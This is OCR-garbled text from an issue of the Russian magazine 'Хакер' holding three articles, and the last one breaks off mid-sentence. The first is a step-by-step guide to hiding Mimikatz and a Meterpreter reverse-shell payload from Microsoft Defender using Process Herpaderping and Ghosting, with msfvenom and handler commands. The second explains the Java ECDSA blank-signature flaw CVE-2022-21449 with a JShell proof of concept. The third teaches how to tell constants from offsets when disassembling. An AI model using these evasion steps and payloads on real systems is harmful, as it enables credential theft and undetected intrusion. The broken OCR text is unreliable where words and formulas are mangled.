книги хакеры / журнал хакер / ха-277_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ИЗУЧАЕМ ДВА НОВЫХ СПОСОБА СКРЫВАТЬ ПРОЦЕССЫ
ОТ АНТИВИРУСОВ
be_a_saint
T.Hunter hacker's teamlead alexandr.khudozhilov@icloud.c om
Избежать обнаруже ния полезной нагрузки антивиру сами — важней шая задача не только вирусописа телей , но и пен тестеров и участни ков red team. Для этого существу ют раз личные техники . Сегодня мы подробно рассмот рим две из них: Herpaderping и Ghosting. О двух других методиках — Hollowing и Doppelgänging — можно почитать в статье «Мас
кируем запуск процес сов при помощи Process Doppelgänging».
Для простоты в наших эксперимен тах мы будем использовать Microsoft Defender и Mimikatz.
|
Статья имеет ознакоми |
тель |
ный |
характер и пред |
|||||||||||||||
|
назначена |
для |
специалис |
тов |
по безопасности |
, |
|||||||||||||
|
проводя |
щих |
тестирова |
ние |
|
в |
рамках |
контрак |
та . |
||||||||||
|
Автор и |
редакция |
не несут |
|
ответствен |
ности |
|||||||||||||
|
за любой вред, причинен |
ный |
|
с примене |
нием |
||||||||||||||
|
изложен ной |
информации . Распростра |
нение |
|
вре |
||||||||||||||
|
доносных |
программ |
, нарушение |
работы систем |
|||||||||||||||
|
и нарушение |
тайны |
переписки преследу |
ются |
|||||||||||||||
|
по закону. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ОСОБЕННОСТИ ПРОЦЕССОВ
Как антивирус узнает , что в системе был запущен какой либо процесс ? Microsoft дает возможность разработ чикам антивирус ных решений получать через API нужные им события (например ,
PsSetCreateProcessNotifyRoutineEx). Когда создает ся процесс , Microsoft Defender (да и все остальные антивиру сы) сразу узнает об этом, получив соответс твующий callback. Теперь то он может проинспек тировать исполня емый файл и сделать вывод, разрешить этот процесс или нет (опустим этап статичес кого анализа ).
Вся штука в том, что уведом ление CreateProcessNotify— ни разу не про создание процес са . Callback полетит тогда , когда внутри этого процес са воз никнет первый поток (thread). Между моментами , когда процесс был создан
и когда антивирус ное решение об этом узнало , образует ся промежу ток. Это самое время злоумыш ленники творчески используют для своих целей.
Важно понимать |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
Исполня |
емый |
файл — это не процесс |
. Исполняемый |
файл может быть связан |
|||||||||||||||||||||||||||||
со множес твом |
|
процес сов (в Task Manager можно легко проследить |
, сколько |
||||||||||||||||||||||||||||||
процес сов связано |
, например |
, с RuntimeBroker.exe или svchost.exe). Каж |
|||||||||||||||||||||||||||||||
дый процесс |
обязатель |
но будет связан с каким либо PE-файлом |
(.exe, .dll |
||||||||||||||||||||||||||||||
и другие ). При этом процес сы |
предос тавля |
ют |
|
|
|
ресурсы , |
необходимые |
||||||||||||||||||||||||||
для выполнения |
программы |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
Процесс |
|
содержит |
|
виртуаль |
ное |
адресное пространс |
тво , исполняемый |
||||||||||||||||||||||||||
код, открытые дескрип |
торы |
для системных |
объектов |
, контекст |
безопасности |
, |
|||||||||||||||||||||||||||
уникаль |
ный |
идентифика |
тор процес са , переменные |
среды , класс приори тета , |
|||||||||||||||||||||||||||||
минимальный |
и максималь |
ный |
размеры |
рабочего множес тва и по крайней |
|||||||||||||||||||||||||||||
мере один поток выполнения |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
Поток — это базовая единица |
, в которой операци |
онная |
система |
выделяет |
|||||||||||||||||||||||||||||
процес сорное |
время . Поток может выполнять |
любую часть кода процес са , |
|||||||||||||||||||||||||||||||
включая части , которые в данный |
момент выполняют |
ся другим потоком. |
|
Создание процесса
Рассмот рим создание процес са по шагам.
1.Сначала мы получаем дескрип тор (handle) для исполняемо го файла , который запускаем , например так: hFile = CreateFile(“C:\ Windows\System32\svchost.exe”).
2.Создаем image section (например , hSection = NtCreateSection( hFile, SEC_IMAGE)). Image section представ ляет собой особый раздел
и служит для отображения файла (или части файла ) в память. Раздел соот ветству ет PE-файлам и может быть создан только в них.
3.Создаем процесс в image section (например , hProcess = NtCreateProcessEx(hSection)).
4.Назнача ем аргумен ты и переменные среды (например ,
CreateEnvironmentBlock/NtWriteVirtualMemory).
5.Создаем поток для выполнения процес са (например ,
NtCreateThreadEx).
Важный |
момент: процес сы |
запускают |
ся |
из исполняемых |
файлов , |
||
но информация внутри исполняемо го файла может меняться относитель |
ного |
||||||
того, что находится в image section (так как она кешируется |
memory manager). |
Сканирование процесса в поисках зловреда
Как уже было сказано , антивиру сы могут получать уведом ления о событиях создания процес сов и потоков (PsSetCreateProcessNotifyRoutineEx и PsSetCreateThreadNotifyRoutineEx).
Выглядит это пример но так:
typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;
struct {
ULONG FileOpenNameAvailable : 1;
ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;
};
};
HANDLE ParentProcessId;
CLIENT_ID CreatingThreadId;
struct _FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine;
NTSTATUS CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
Из интерес ного: FILE_OBJECT соответс тву ет дескрип тору NtCreateSection. Если же мы взглянем на API NtCreateProcess, то увидим там тоже дескрип тор раздела , а не файла .
NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateProcess(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ParentProcess,
_In_ BOOLEAN InheritObjectTable,
_In_opt_ HANDLE SectionHandle,
_In_opt_ HANDLE DebugPort,
_In_opt_ HANDLE ExceptionPort
);
ОТЛИЧИЯ ДВУХ ТЕХНИК
Для простоты я свел отличия описыва емых в статье техник в таблицу .
Техника |
Действия |
|
|
|
|
Hollowing |
map → modify section → execute |
|
|
|
|
Doppelgängin |
transact → write → map → rollback → execute |
|
g |
||
|
||
|
|
|
Herpaderping |
write → map → modify → execute → close |
|
|
|
|
Ghosting |
delete pending → write → map → close(delete) → execute |
|
|
|
HERPADERPING
Нам потребу ется mimikatz.exe, целевой исполняемый файл (тут можно ука зывать что угодно , у нас это будет hack.exe) и любой файл, не вызывающий подозрений у антивирус ных программ . Разберем методику Herpaderping по шагам.
1.Write. Создаем и открываем hack.exe, копируем в него mimikatz.exe, дескрип тор не закрыва ем.
2.Map. Создаем image section и мапим содержимое в память.
3.Modify. Создаем процесс с дескрип тором ранее созданно го раздела . После этого меняем содержимое файла hack.exe, копируя туда что нибудь легитимное . Помнишь важный момент из раздела про соз дание процес са? Так вот это он и есть: с этого момента то, что у нас в памяти, и то, что хранит ся в файле , отличает ся.
4.Execute. Создаем initial thread. Только сейчас антивиру су летит process creation callback. Различие содержимого в файле и в памяти сводит с ума Defender, он не может понять, можно ли разрешать выполнение этого про цесса .
5.Close. Закрыва ем открытый дескрип тор.
Herpaderping на практике
За всеми действи ями будет наблюдать полностью обновленный Microsoft Defender. Естествен но , если дропнуть на диск Mimikatz или пейлоад
из MSFvenom в «чистом » виде, он тут же будет обнаружен антивиру сом. Нам нужно обойти статичес кий анализ , но этот этап мы сейчас рассмат ривать не будем.
Defender
Копиру ем проект из GitHub и собираем его.
git clone https://github.com/jxy-s/herpaderping.git
cd .\herpaderping\
git submodule update --init –recursive
Копиру ем проект
Выпол няем команду
ProcessHerpaderping.exe mimikatz.exe hack.exe lsass.exe
Выпол нение ProcessHerpaderping.exe
Как мы видим, все выполнилось успешно, Defender не среаги ровал . Давай взглянем , что покажет нам ProcessHacker.
ProcessHacker
У нас исполняется не mimikatz.exe, а hack.exe. А еще у нашего приложе ния hack.exe есть сертификат , выданный Microsoft.
У нашего приложе ния есть сертификат
Ну а сам hack.exe спокой но лежит на рабочем столе .
Рабочий стол
Этот прием работает не только с Mimikatz: давай пробросим себе сессию Meterpreter. Для этого сгенери руем полезную нагрузку и запустим листенер .
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.197
LPORT=9001 -f exe > met.exe
Payload generation
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.197
set LPORT 9001
exploit
Выпол ним те же действия и глянем , прилете ла ли сессия .
Выпол нение met.exe
Получен ная сессия
Ура, получилось !
GHOSTING
Для использования этого метода нам опять же потребу ется наш исходный файл (mimikatz.exe) и целевой исполняемый файл. В качестве такового можно указывать что угодно , у нас это будет уже привыч ный нам hack.exe. Как и в прошлый раз, разберем технологию по шагам.
1.Delete pending. Delete Pending — это состояние , при котором файл еще не удален , потому что дескрип тор на него открыт. Как только дескрип тор закроет ся, файл удалит ся. Создаем файл и переводим в состояние delete-pending, используя NtSetInformationFile ( FileDispositionInformation). Использование FILE_DELETE_ON_CLOSE не удалит файл.
2.Write. Копируем наш исходный исполняемый файл в созданный файл. Содержимое не сохраня ется, так как файл находится в состоянии deletepending. Также это состояние блокиру ет попытки открыть файл извне.
3.Map. Создаем image section и мапим содержимое в память.
4.Сlose(delete). Закрыва ем дескрип тор, файл удаляет ся.
5.Execute. Создаем процесс с дескрип тором ранее созданно го раздела . Создаем initial thread. В этот момент антивиру су направля ется process creation callback, но файл уже удален . Попытка открыть его завершится
с ошибкой STATUS_FILE_DELETED. Если попробовать открыть файл до того, как он будет удален , получишь ту же самую ошибку .
Ghosting на практике
Копиру ем проект и собираем . Либо качаем уже собранный проект из GitHub. Выпол няем команду
proc_ghost64.exe mimikatz.exe hack.exe
Выпол нение proc_ghost64.exe
Как мы видим, снова все выполнилось успешно и Defender не среаги ровал . Теперь давай оценим информацию , которую предос тавит нам ProcessHacker.
ProcessHacker
Стоит обратить внимание на еще один инстру мент , который реализует дан ную технику , — KingHamlet. Он также реализует возможнос ти криптования исходного пейлоада :
KingHamlet.exe mimikatz.exe key
KingHamlet
А process ghosting использует ся на следующем шаге:
KingHamlet.exe mimikatz.exe.khe key hack.exe
KingHamlet
KingHamlet также отработал успешно. В ProcessHacker мы увидим сле дующее.
ProcessHacker после примене ния KingHamlet
ВЫВОДЫ
Поведе ние Microsoft по отношению к описан ным в этой статье методам не до конца понятно . То компания заявляет , что выпустила закрыва ющий патч, то
Microsoft Security Response Center (MSRC) неожидан но сообщает : проблема
не соответс твует критери ям, требующим выпустить обновление безопас ности или инструк ции по предот вращению атак. Но как видим, пока эти механизмы работают без каких либо трудностей , главное — обойти статичес кий анализ .
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
КРИТИЧЕСКАЯ УЯЗВИМОСТЬ
ВJAVA ПОЗВОЛЯЕТ ПОДДЕЛЫВАТЬ
ЭЛЕКТРОННЫЕ ПОДПИСИ И КЛЮЧИ
Валентин Холмогоров valentin@holmogorov.ru
Всех, кто использует относитель но новые версии Javaфреймвор ка Oracle, в минувшую среду ждал неприят ный сюрприз . Исследова тель из компании ForgeRock Нил Мэд ден сообщил о критичес кой уязвимос ти в Java, которая поз воляет злоумыш ленни кам легко подделывать сертифика ты
иподписи TLS, сообщения двухфактор ной аутентифика ции
иучетные данные авториза ции. Эксперт опубликовал в сети подробное описание уязвимос ти, с основными тезисами
которого мы сегодня хотим тебя познакомить .
Нил Мэдден обнаружил эту ошибку в OpenJDK еще 11 ноября 2021 года и сразу же сообщил о ней в Oracle. 18 ноября разработ чик подтвер дил наличие проблемы и пообещал добавить исправление в следующее кри тическое обновление безопасности , которое вышло 19 апреля 2022 года.
Вэтот же день ForgeRock опубликовал отчет с описани ем уязвимос ти.
Впопулярном британ ском телесериале «Доктор Кто» есть повторя ющийся сюжет: главный герой с успехом выпутывает ся из различных неприят ностей, показывая окружающим совершенно пустой документ, изготов ленный из спе циальной «психобу маги». Эта бумага заставля ет смотрящего на нее человека видеть то, что хочет продемонс трировать ему владелец артефак та: пропуск ,
удостовере ние полицейско го , судебный ордер или что то иное. Схожим образом работает уязвимость , обнаружен ная в несколь ких недавних выпус ках Java, вернее , в механизме широко используемо го алгорит ма с открытым ключом для создания цифровых подписей ECDSA. Этой уязвимос ти , получив
шей обозначение CVE-2022-21449, подверже ны версии Java 15, 16, 17 и 18,
вышедшие до критичес кого обновления от апреля 2022 года. Кроме того, в официаль ном сообщении Oracle также упомина ются более старые версии Java, включая 7, 8 и 11. С другой стороны , в рекомен дациях OpenJDK перечислены только версии 15, 17 и 18, затронутые этой конкрет ной уяз вимостью.
С использовани ем CVE-2022-21449 злоумыш ленники могут легко подделать некоторые типы SSL-сертифика тов и SSL-рукопожатий , что, в свою очередь , позволя ет перехватывать и изменять сообщения . Кроме того, становит ся возможной подмена подписан ных JSON Web Tokens (JWT), данных SAML, токенов идентифика ции OIDC и даже сообщений аутентифика ции WebAuthn. Фактичес ки это и есть полный аналог киношной «психобу маги», только в электрон ной форме .
Серьезность этой проблемы трудно недооце нить. Если ты используешь подписи ECDSA для любого из перечисленных механизмов безопасности , а на сервере установ лена уязвимая версия Java, злоумыш ленник может без труда обойти эти механизмы . В реальнос ти почти все устройства
WebAuthn/FIDO (включая Yubikeys) используют подписи ECDSA, а многие пос
тавщики OIDC — токены JWT, подписан ные тем же методом.
Oracle присвоила этому CVSS оценку 7,5 балла , посчитав , что уязвимость не оказыва ет серьезно го влияния на конфиден циаль ность или доступность
данных , однако исследова тели из ForgeRock оценили проблему в 10 баллов из за широкого спектра воздей ствий на различные функции в контек сте управления доступом . Как же все таки работает уязвимость CVE-2022-21449? Чтобы разобрать ся, необходимо немного углубить ся в теорию.
ПОДПИСИ ECDSA
ECDSA расшифро выва ется как алгоритм цифровой подписи на эллиптичес
ких кривых (Elliptic Curve Digital Signature Algorithm) и широко использует ся в качестве стандарта для подписи всех видов цифровых документов . По срав нению со старым стандартом RSA ключи и подписи на основе эллиптичес кой криптогра фии имеют намного меньшие размеры в байтах , но при этом обес печивают эквивален тную безопасность , в результате чего они применя ются в тех случаях , когда размер имеет большое значение . Например , стандарт WebAuthn для двухфактор ной аутентифика ции позволя ет произво дителям устройств выбирать из широкого спектра алгорит мов создания подписи , но на практике почти все произве ден ные на сегодняшний день устройства поддержи вают только ECDSA (заметным исключени ем является разве что Windows Hello, которая использует RSA, предположи тель но для совмести мос ти со старым оборудо вани ем TPM).
Не вдаваясь в техничес кие детали, можно сказать , что подпись ECDSA состоит из двух значений , называемых r и s. Чтобы проверить такую подпись , верификатор решает уравнение , включающее значения r, s, открытый ключ подписав шего и хеш сообщения . Если две части уравнения равны , подпись считает ся действи тельной, в против ном случае она отклоняет ся.
Одна часть уравнения должна быть равна r, а другая часть умножает ся на r и значение , полученное из s. Очевид но , было бы очень плохо , если бы r и s оказались равны 0, потому что тогда мы проверя ли бы равенство 0 = 0 [куча вещей], которое будет истинным независимо от значения «кучи вещей». Притом что эта самая «куча вещей» — важные данные , такие как сообщение
и открытый ключ. Вот почему самая первая провер ка в алгорит ме ECDSA выполняет ся с целью удостоверить ся, что значения r и s >= 1.
Догадай ся , какую провер ку забыли в Java? Бинго : валидатор подписи ECDSA в Java не проверял , равны ли r или s нулю, поэтому ты при желании можешь создать подпись с нулевыми значени ями этих параметров . Тогда Java примет такую подпись для любого сообщения или публично го ключа как действи тель ную .
Вот интерак тивный сеанс JShell, показывающий реализацию этой уяз вимости , — здесь использует ся абсолют но пустая подпись , которая при нимается в качестве действи тельной:
|Welcome to JShell -- Version 17.0.10
| For an introduction type: /help intro0
jshell> import java.security.*
jshell> var keys = KeyPairGenerator.getInstance("EC").generateKeyPair
()
keys ==> java.security.KeyPair@626b2d4a0
jshell> var blankSignature = new byte[64]0
blankSignature ==> byte[64] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, ... , 0, 0, 0, 0, 0, 0, 0, 0 }
jshell> var sig = Signature.getInstance(
"SHA256WithECDSAInP1363Format")
sig ==> Signature object: SHA256WithECDSAInP1363Format<not
initialized>0
jshell> sig.initVerify(keys.getPublic())
jshell> sig.update("Hello, World".getBytes())
jshell> sig.verify(blankSignature)
$8 ==> true
// Oops, that shouldn't have verified...
Квалифи катор InP1363Format упрощает демонстра цию ошибки . Подписи
в формате ASN.1 DER могут использовать ся таким же образом : просто сна чала нужно немного повозиться с кодировкой . Но обрати внимание , что JWT и другие стандарты применя ют необработан ный формат IEEE P1363.
НЕМНОГО ТЕХНИЧЕСКИХ ДЕТАЛЕЙ
Если не полениться и почитать в Википедии подробнос ти о принципах работы ECDSA, можно обнаружить , что правая часть уравнения умножает ся не на s,
а скорее на его обратный мультип ликатор: s -1. Если ты немного разбира ешь ся в математике , ты можешь задаться вопросом : разве вычисление этого обратного результата не приведет к делению на ноль? Но в криптогра фии на основе эллиптичес ких кривых эта обратная величина вычисляет ся по модулю большого числа , n, а для кривых , обычно используемых в ECDSA, n является простым числом , поэтому мы можем использовать малую теорему Ферма для вычисления обратного модульного значения :
xn = x1 = x(mod n)
« x(n – 1) |
= x 0 = 1(mod n) |
|
|
|
» |
|||||
|
|
|
|
|||||||
x(n – 2) |
= x –1(mod n) |
|
|
|
|
|
||||
Это очень эффективный |
метод, и именно его использует |
Java. Однако |
||||||||
это справед ливо |
только в том случае , когда x не равен нулю, посколь |
ку у нуля |
||||||||
нет мультип ликатив |
ной |
инверсии. Когда x равен нулю, 0(n – 2) = 0: мусор |
||||||||
на входе , мусор на выходе. |
|
|
|
|
|
|||||
Тот факт, что вычисления |
выполняют |
ся по модулю n, также причина |
удос |
|||||||
товериться , что значения |
r и s < n . Поэтому , если r и s = n при n = |
0 |
(mod |
n), мы получим тот же эффект, как если бы r и s были равны нулю.
Еще одна провер ка, которая могла бы спасти Java, — это провер ка того, что точка , вычисленная из r и s, не является «бесконеч но удален ной точкой ». Если r и s равны нулю, то результиру ющая точка фактичес ки будет точкой
в бесконеч ности . Но, как ты уже, наверное , догадался , Java не выполняет и эту провер ку .
ПОЧЕМУ УЯЗВИМОСТЬ ОБНАРУЖИЛИ ТОЛЬКО СЕЙЧАС?
Широко известно , что Java уже давно поддержи вает ECDSA. Всегда ли реализация этого алгорит ма была уязвимой и почему о проблеме стало известно только сейчас ?
Иссле дователи из ForgeRock считают , что это относитель но недавняя ошибка , вызванная переписыва нием кода EC с нативного C++ на Java, что произош ло в версии Java 15. Хотя, по мнению специалис тов, эта переделка дает преиму щества с точки зрения безопасности памяти, похоже, в ее реали зации не участво вали эксперты в области криптогра фии. Исходная версия на C++ не содержит этих ошибок , но переписан ная реализация уже имеет уязвимость . Ни одна из отправив шихся в релиз версий Java, по видимому , не была полностью покрыта тестами , ведь даже самое беглое прочтение спе цификации ECDSA предполага ет как минимум провер ку на предмет откло нения недопустимых значений r и s. В общем, обнаружив шие уязвимость исследова тели не уверены , что в этом коде не скрывают ся и другие критичес кие ошибки .
ЧТО ТЕПЕРЬ ДЕЛАТЬ?
Если ты используешь Java 15 или более позднюю версию , незамедлитель но обнови ее или установи критичес кий патч безопасности от Oracle.
Криптогра фичес кий код очень сложно реализовать правиль но , а алгорит мы подписи с открытым ключом —среди самых сложных . ECDSA сам по себе весьма ненадежный алгоритм , где даже небольшая погрешность в одном случай ном значении может позволить полностью восста новить твой закрытый ключ.
С другой стороны , теперь существу ют отличные ресурсы , такие как Project Wycheproof, которые предос тавля ют тестовые примеры для известных уяз вимостей . После того как эксперты ForgeRock обнаружи ли эту ошибку , они обновили локальную копию Wycheproof для работы с Java 17 — и она сразу же обнаружи ла проблему . Хочется верить, что команда JDK сама начнет исполь зовать набор тестов Wycheproof, чтобы в будущем подобные ошибки не попадали в паблик .
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|
||
|
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|
|||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
|
||
|
. |
|
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
ha |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
КАК ИСКАТЬ ОПЕРАНДЫ ПРИ ВЗЛОМЕ ПРОГРАММ
Крис Касперски
Известный российский хакер. Легенда ][, ex-
редактор ВЗЛОМа. Также известен под псевдонимами
мыщъх, nezumi (яп. , мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.
Юрий Язев
Широко известен под псевдонимом yurembo.
Программист, разработчик видеоигр, независимый исследователь. Старый автор журнала «Хакер». yazevsoft@gmail.com
Когда мы занимаемся анализом ломаемой программы , пытаясь восста новить алгоритм ее работы, нам нужно опре делить типы операн дов ассемблер ных инструк ций. Для этого есть несколь ко простых правил . Между тем среди операн дов присутс твуют констан ты и смещения , которые внешне очень похожи, но в то же время сильно различа ются по способам и целям взаимо действия. Поэтому важно отделить одно
от другого , так как такие «игры» — один из главных инстру ментов разработ чиков защит.
Пятнадцать лет назад эпичес кий труд Криса Каспер ски «Фундамен тальные основы хакерства » был настоль ной книгой каждого начинающе го исследова теля в области компьютер ной безопасности . Однако время идет, и знания , опубликован ные Крисом , теряют актуаль ность. Редакторы «Хакера» попыта лись обновить этот объемный труд и перенести его из времен Windows 2000 и Visual Studio 6.0 во времена Windows 10 и Visual Studio 2019.
Ссылки на другие статьи из этого цикла ищи на странице автора .
ИДЕНТИФИКАЦИЯ КОНСТАНТ И СМЕЩЕНИЙ
Микропро цессоры серии 80x86 поддержи вают операн ды трех типов: регистр, непосредс твенное значение , непосредс твенный указатель . Тип операн да явно задается в специаль ном поле машинной инструк ции, именуемом mod, поэтому никаких проблем в идентифика ции типов операн дов не возника ет. Регистр — ну, все мы знаем , как выглядят регистры ; указатель по общепри нятому соглашению заключа ется в квадратные скобки , а непосредс твенное значение записывает ся без них. Например :
MOV ECX, EAX; |
← регистровые операнды |
||||
MOV |
ECX, 0x666; |
← |
левый |
операнд |
регистровый, правый — |
непосредственный |
|
|
|
|
|
MOV |
[0x401020], EAX; |
← |
левый |
операнд |
— указатель, правый — |
регистр |
|
|
|
|
Кроме этого , микропро цес соры серии 80x86 поддержи вают два вида адре сации памяти: непос редс твен ную и косвенную . Тип адресации определя ется типом указате ля . Если операнд — непосредс твен ный указатель , то и адре сация непосредс твен на . Если же операнд указатель — регистр, то такая адресация называется косвенной . Например :
MOV |
ECX,[0x401020] |
← |
непосредственная адресация |
MOV |
ECX, [EAX] |
← |
косвенная адресация |
Для инициали зации регистро вого указате ля разработ чики микропро цес сора ввели специаль ную команду , вычисляющую значение адресного выражения addr и присваивающую его регистру REG, — LEA REG, [addr]. Например :
LEA |
EAX, |
[0x401020] ; Регистру EAX присваивается |
значение |
указателя |
||
0x401020 |
|
|
|
|
|
|
MOV |
ECX, |
[EAX] |
; |
Косвенная адресация — загрузка в ECX двойного |
||
слова, |
|
|
|
|
|
|
|
|
|
; |
расположенного по смещению |
0x401020 |
|
Правый операнд команды LEA всегда представ ляет собой ближний (near) ука затель (исключение составля ют случаи использования LEA для сложения кон стант — подробнее об этом см. в одноимен ном пункте ). И все было бы хорошо... да вот, оказыва ется , внутреннее представ ление ближнего указате ля эквивален тно констан те того же значения . Отсюда LEA EAX, [0x401020] равносиль но MOV EAX, 0x401020. В силу определен ных причин MOV зна чительно обогнал в популярности LEA, практичес ки вытеснив последнюю инс трукцию из употребле ния .
Отказ от LEA породил фундамен таль ную проблему ассембли рова ния — проблему OFFSET’a. В общих чертах ее суть заключа ется в синтакси чес кой неразличимос ти констант и смещений (ближних указате лей ). Конструк ция MOV EAX, 0x401020 может грузить в EAX и констан ту , равную 0x401020 (пример соответс тву юще го C-кода: a=0x401020), и указатель на ячейку памяти, рас положенную по смещению 0x401020 (пример соответс тву юще го C-кода: a=&x). Согласись , a=0x401020 совсем не одно и то же, что a=&x! А теперь представь , что произой дет , если в повторно ассембли рован ной программе переменная х окажет ся расположе на по иному смещению , а не 0x401020? Правиль но — программа рухнет , ибо указатель a по прежнему указыва ет на ячейку памяти 0x401020, но здесь теперь «прожива ет » совсем другая переменная !
Почему переменная может изменить свое смещение ? Основных причин тому две. Во первых , язык ассембле ра неоднозна чен и допускает двоякую интерпре тацию. Например , конструк ции ADD EAX, 0x66 соответс твуют две машинные инструк ции: 83 C0 66 и 05 66 00 00 00 длиной три и пять байт соответс твенно. Трансля тор может выбрать любую из них, и не факт, что ту же самую, которая была в исходной программе (до дизассем блирования). Неверно «угадан ный» размер вызовет смещение всех остальных инструк ций, а вместе с ними и данных . Во вторых , смещение не замедлит вызвать модификацию программы (разумеется , речь идет не о замене JZ на JNZ, а о настоящей адаптации или модернизации ), и все указате ли тут же «посып лются».
Вернуть работоспособ ность программы помогает директива offset. Если MOV EAX, 0x401020 действи тель но загружа ет в EAX указатель , а не констан ту, по смещению 0x401020 следует создать метку , именуемую , скажем , loc_401020. Также нужно MOV EAX, 0x401020 заменить на MOV EAX, offset loc_401020. Теперь указатель EAX связан не с фиксирован ным смещени ем ,
ас меткой !
Ачто произой дет, если предварить директивой offset констан ту, ошибоч
